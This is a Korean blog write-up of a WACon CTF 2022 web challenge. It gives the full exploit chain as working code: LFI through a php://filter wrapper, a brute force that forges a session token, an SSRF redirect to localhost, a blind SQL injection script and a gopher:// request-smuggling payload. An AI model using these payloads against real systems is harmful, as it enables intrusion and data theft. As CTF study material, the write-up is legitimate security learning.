CTF/WACon CTF 2022

[Study] WACon CTF 2022 Kuncɛlan Writeup

Vardy 2022. 6. 27. 22:13

대회 기간에는 해결하지 못했던 문제였다. 우리 팀은 인원수 제한으로 ST4RT, 3ND 두 팀으로 나누어 출전했는데(본인은 ST4RT 로 출전) 3ND팀에서는 해당 문제를 해결했다. 대회 종료 후 서버 오픈 시간이 길지 않았기 때문에 팀원인 nicknamemohaji 님의 롸업을 기반으로 리뷰해보았다.

해당 문제는 블랙박스 기반 문제로, 별도의 소스코드가 주어지지 않았다. 주어진 페이지에 접근해보자.

guest / guest 로 로그인하면 curl 기능을 사용 할 수 있는 듯 한 페이지로 안내된다. 하지만 관리자 권한이 없어서 해당 기능을 테스트 할 수 없다.

 

우선 gobuster를 통해 별도로 접근 가능한 디렉토리나 파일이 있는지 확인해보았다.(OSCP의 습관..)

load.phtml 이 존재하는데, curl 기능을 제공하는 페이지의 파라미터가 load였다. 

http://114.203.209.112:8000/index.phtml?fun_004ded7246=load

실제로 직접 접근해보니 아래와 같은 메시지가 출력되었다.

따라서, 입력받은 파라미터 뒤에 .phtml 를 붙힌 파일을 include하는 기능일 것이라고 추측했다. 

(index를 입력했을때 정상출력을 못해주는 것 또한 확인했다.)

 

그리고 파라미터에 /www/var/html/load를 입력해도 curl기능을 호출함으로써 LFI를 의심하게되었다.

 

해당 서버는 php로 구성되어 있으므로 php wrapper를 통해 index.phtml load.phtml 의소스코드를 획득 할 수 있었다.

http://114.203.209.112:8000/index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/load

## index.phtml

<?php
error_reporting(0);
session_start();

if(!isset($_SESSION['username'])) {
    header('location: ./login.php');
    die();
}
?>



<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">
    <link rel="icon" href="favicon.png">

    <title>Home</title>

    <link rel="canonical" href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/">

    <!-- Bootstrap core CSS -->
    <link href="https://getbootstrap.com/docs/4.0/dist/css/bootstrap.min.css" rel="stylesheet">

    <!-- Custom styles for this template -->
    <link href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/sticky-footer-navbar.css" rel="stylesheet">
  </head>

  <body>

    <header>
      <!-- Fixed navbar -->
      <nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
        <a class="navbar-brand" href="./index.phtml?fun_004ded7246">Home</a>
        <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
          <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarCollapse">
          <ul class="navbar-nav mr-auto">
            <li class="nav-item active">
              <a class="nav-link" href="./index.phtml?fun_004ded7246">Home</a>
            </li>
            <li class="nav-item active">
              <a class="nav-link" href="./index.phtml?fun_004ded7246=load">Fun?</a>
            </li>
          </ul>
          <h5><font color="#fff">Welcome </font><font color="#fff"><strong><?php echo $_SESSION['username']; ?></strong></font> 👋</h5>
          <h5><a class="nav-link" href="./logout.php">Logout</a></h5>
        </div>
      </nav>
    </header>

    <!-- Begin page content -->
    <?php 
    if (isset($_GET["fun_004ded7246"])) {
      if($_GET["fun_004ded7246"] !== ""){include $_GET["fun_004ded7246"].".phtml";}
      else {
      ?>
                      <main role="main" class="container">
                      <h1 class="mt-5">They said ?</h1>
                      <p class="lead">A secure website should start with <code>https</code> rather than <code>http</code>. The "s" in "https" stands for "secure". </p>
                      </main>
      <?php
      }
    }
    else{
      header('location: ./index.phtml?fun_004ded7246');
      die();
    }
    ?>

    <footer class="footer">
      <div class="container">
        <span class="text-muted">You can totally do this.</span>
      </div>
    </footer>

    <!-- Bootstrap core JavaScript
    ================================================== -->
    <!-- Placed at the end of the document so the pages load faster -->
    <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
    <script>window.jQuery || document.write('<script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/jquery-slim.min.js"><\/script>')</script>
    <script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/popper.min.js"></script>
    <script src="https://getbootstrap.com/docs/4.0/dist/js/bootstrap.min.js"></script>
  </body>
</html>
## load.phtml

<?php

// LOCATION : ./internal_e0134cd5a917.php

error_reporting(0);
session_start();

if (!isset($_SESSION['username']))
{
    header('location: ./login.php');
    die();
}

if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
    die("only in include");
}

function valid_url($url)
{
    $valid = False;
    $res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
    if (!$res) $valid = True;
    try{ parse_url($url); }
    catch(Exception $e){ $valid = True;}
    $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
    return $valid 
            || ip2long('127.0.0.0') >> 24 == $int_ip >> 24 
            || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 
            || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 
            || ip2long('192.168.0.0') >> 16 == $int_ip >> 16 
            || ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}

function get_data($url)
{

    if (valid_url($url) === True) { return "IP not allowed or host error"; }

    $ch = curl_init();
    $timeout = 7;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $data = curl_exec($ch);

    if (curl_error($ch))
    {
        curl_close($ch);
        return "Error !";
    }

    curl_close($ch);
    return $data;
}

function gen($user){
    return substr(sha1((string)rand(0,getrandmax())),0,20);
}

if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }

$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);

$out = "";

if (isset($_POST['url']) && !empty($_POST['url']))
{
    if ( 
        $IP === "127.0.0.1" 
        & $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER']) 
        & strpos($_COOKIE['USER'], 'admin') !== false 
    )
    {
        $out = get_data($_POST['url']);
    }
    else
    {
        $out = "Only the administrator can test this function from 127.0.0.1!";
    }

}

?>

<main role="main" class="container">
<h1 class="mt-5">𝖈𝖚𝖗𝖑:// ?</h1>
<p class="lead">cURL is powered by libcurl , used to interact with websites 🌐</p>
<form method="post" >
<legend><label for="url">Website URL</label></legend>
<input class="form-control" type="url" name="url" style="width:100%" />
<input class="form-control" type="submit" value="👉 Request HTTP 👈">
</form><?php echo $out; ?> 
</main>

획득한 소스코드의 내용은 위와 같았고, index.phtml의 내용은 예상과 같아서 다른 확장자의 소스를 획득 할 수는 없었다.

load.phtml 파일의 맨 위에 주석처리되어있는 ./internal_e0134cd5a917.php 경로에 접근해보면 아래와 같은 메시지가 안내된다. curl을 통해 접근해야 하는 듯 하다.

curl 사용 조건 부분을 자세히 분석해보자.

if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
##### ............................................................................ (2)

$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
##### ............................................................................ (1)

$out = "";

if (isset($_POST['url']) && !empty($_POST['url']))
{
    if ( 
        $IP === "127.0.0.1" 
        & $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER']) 
        & strpos($_COOKIE['USER'], 'admin') !== false 
    )
    {
        $out = get_data($_POST['url']);
    }
    else
    {
        $out = "Only the administrator can test this function from 127.0.0.1!";
    }

}

우선 (1)의 결과 값이 127.0.0.1 이어야 한다. 해당 조건은 X_HTTP_HOST_OVERRIDE 라는 헤더를 만들어서 값을 넣어주면 해결 할 수 있다. $_SERVER['HTTP_~~~'] 의 뜻이 ~~~ 라는 커스텀 헤더의 값을 읽겠다는 의미이기 때문이다.

https://www.php.net/manual/en/reserved.variables.server.php

 

PHP: $_SERVER - Manual

Guide to URL paths...Data: $_SERVER['PHP_SELF']Data type: StringPurpose: The URL path name of the current PHP file, including path-info (see $_SERVER['PATH_INFO']) and excluding URL query string. Includes leading slash.Caveat: This is after URL rewrites (i

www.php.net

얼핏보면, 두 번째 조건과 세 번째 조건이 함께 존재하는게 불가능해보인다.

그 이유는 3번째 조건에서 USER 쿠키의 값이 admin이어야 하는데, 두 번째 조건의 X-TOKEN은 (2)에 의해 guest라는 값이 하드코딩된 해시 값이기 때문이다. 즉, 두 번째 조건의 $_COOKIE['USER'] 는 guest여야 하고, 세 번째 조건의 $_COOKIE['USER'] 는 admin이어야 한다.

 

하지만, 위 조건은 hash가 무조건 안전하다고 가정했을 때이다. 대회 도중에는 이 부분을 생각하지 못해서 다른데를 빙빙돌다가 결국 해결하지 못했다...

 

취약점을 찾아보자. $_SESSION["X-SECERT"] 이 생성되는 gen() 함수는 아래와 같다.

function gen($user){
    return substr(sha1((string)rand(0,getrandmax())),0,20);
}

getrandmax() == (2 ^ 32) - 1 이므로 BruteForce가 불가능한만큼 큰 숫자는 아니다. 해당 범위안의 숫자를 전수조사하여 해시의 처음 20자리와 에 "guest"를 붙힌 문자열의 해시값이 발급받은 X-TOKEN일때의 수에 admin을 붙히고 다시 해시를 해주면 조건문을 만족 할 수 있다.

우선 BruteForce 공격을 진행해보자.

import hashlib
import multiprocessing

def findhash(start):
    target = '27e040ae65d4e051424f3fcc833bb4ca8580865242ec18a83e890f2a339d2fe1' # X-TOKEN

    for i in range(start, start + 100000001, 1):
        if target == hashlib.sha256((hashlib.sha1(str(i).encode()).hexdigest()[0:20] +'guest').encode()).hexdigest():
            print("#######################################")
            print("FOUND!!")
            print(i)
            print(hashlib.sha256((hashlib.sha1(str(i).encode()).hexdigest()[0:20] +'admin').encode()).hexdigest())
            print("#######################################")
            return
        if i % 10000000 == 0:
            print(i)
    #print(f"{start} ~ {end} not found")

pool = multiprocessing.Pool(processes = 22)
pool.map(findhash, [i * 100000000 for i in range(0, 22)])
pool.close()
pool.join()

 

위 조건을 모두 만족하면 아래와 같이 curl자체는 이용이 가능함을 알 수 있다.

 

하지만 직접 127.0.0.1로 접근하는 것은 valid_url 메소드에 의해 제한되어있다. 하지만, get_data의 뒷 부분을 자세히 분석해보면 redirect이 허용되어 있음을 알 수 있다.

function get_data($url)
{

    if (valid_url($url) === True) { return "IP not allowed or host error"; }

    $ch = curl_init();
    $timeout = 7;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); #####
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $data = curl_exec($ch);

    if (curl_error($ch))
    {
        curl_close($ch);
        return "Error !";
    }

    curl_close($ch);
    return $data;
}

 따라서 127.0.0.1 로 redirect를 유도하는 페이지를 만든 후에 해당 주소로 curl을 시도하면 될 것이다.

<?php header("Location: http://127.0.0.1/internal_e0134cd5a917.php")

 

아래와 같이 요청하여 다음 경로를 획득하였다. (./internal_1d607d2c193b.php)

해당 경로로 접근하면, 계정 정보를 요구한다.

아무 ID/PW를 입력하면 POST EMPTY! 라는 반환값이 오는데, POST 로 메소드를 바꾸고 Content-Type을 추가하는 등 조건을 맞춰주면 아래와 같은 메시지가 출력된다.

SQLi 가 의심되어, Basic 인증값에 인젝션을 시도했다. python의 requests 모듈에서는 auth 파라미터를 통해 Basic 인증을 지원한다.

http://www.fun25.co.kr/blog/python-requests-basic-authenticate

 

Requests 사용시 Basic 인증 처리 방법 | 퍼니오 호스팅

Requests 사용시 Basic 인증 처리 방법 requests 라이브러리 사용시 Basic 인증이 필요한 리퀘스트 처리 방법입니다. session = requests.Session() session.auth = ("user", "password") r = session.get('http://example.com/data-get')

www.fun25.co.kr

import requests
import string
URL = 'http://114.203.209.112:8000/internal_1d607d2c193b.php'
data = {"aaa": "bbb"}
li = string.ascii_letters + string.digits + '_' + '}'
flag = "WACon{"
for i in range(19):
    print(flag)
    for c in li :
        r = requests.post(URL, auth = ("admin' and password like '" +  flag + c + "%' #", 'pw'), data=data)
        if r.text.count("not found") != 1:
            flag += c
            break
flag_ = ""
for i in range(25):
    r = requests.post(URL, auth = (f"admin' and ord(substr(password, {i+1}, 1))> 95#", 'pw'), data=data)
    if r.text.count("not found") != 1:
        flag_ += flag[i].lower()
    else:
        flag_ += flag[i].upper()
print(flag_)

## by nicknamemohaji

Blind SQLi를 통해 플래그 추출을 시도했지만, 일부분만 주어졌다. gopher를 이용하라는 힌트가 주어져 이를 시도해보았다.

 

고퍼에 대해 조사하다가, gopher의 개념과 curl 사용 예시가 동시에 있는 자료를 발견했다.

https://me2nuk.com/SSRF-Gopher-Protocol-MySQL-Raw-Data-Exploit/

 

SSRF Gopher Protocol을 이용하여 MySQL 주입(SSRF Through Gopher)

SSRF 취약점이 발생할 때 Gopher Protocol을 이용하여 MySQL에 쿼리를 주입하여 있는 데이터베이스 정보를 탈취할 수 있습니다.

me2nuk.com

 

이를 응용하여, 이전에 사용했던 SSRF를 통해 curl을 이용하여 gopher 를 사용해보았다.

<?php header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:127.0.0.1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0aAuthorization:%20Basic%20YWRtaW46V0FDb257dHJ5X3VzaW5nX2dvcGhoaGhlcg==%0d%0a%0d%0aaaa")  ?>

응답값으로 플래그 뒷부분을 출력해준다.

 

FLAG : WACon{Try_using_Gophhhher_ffabcdbc}

 

반응형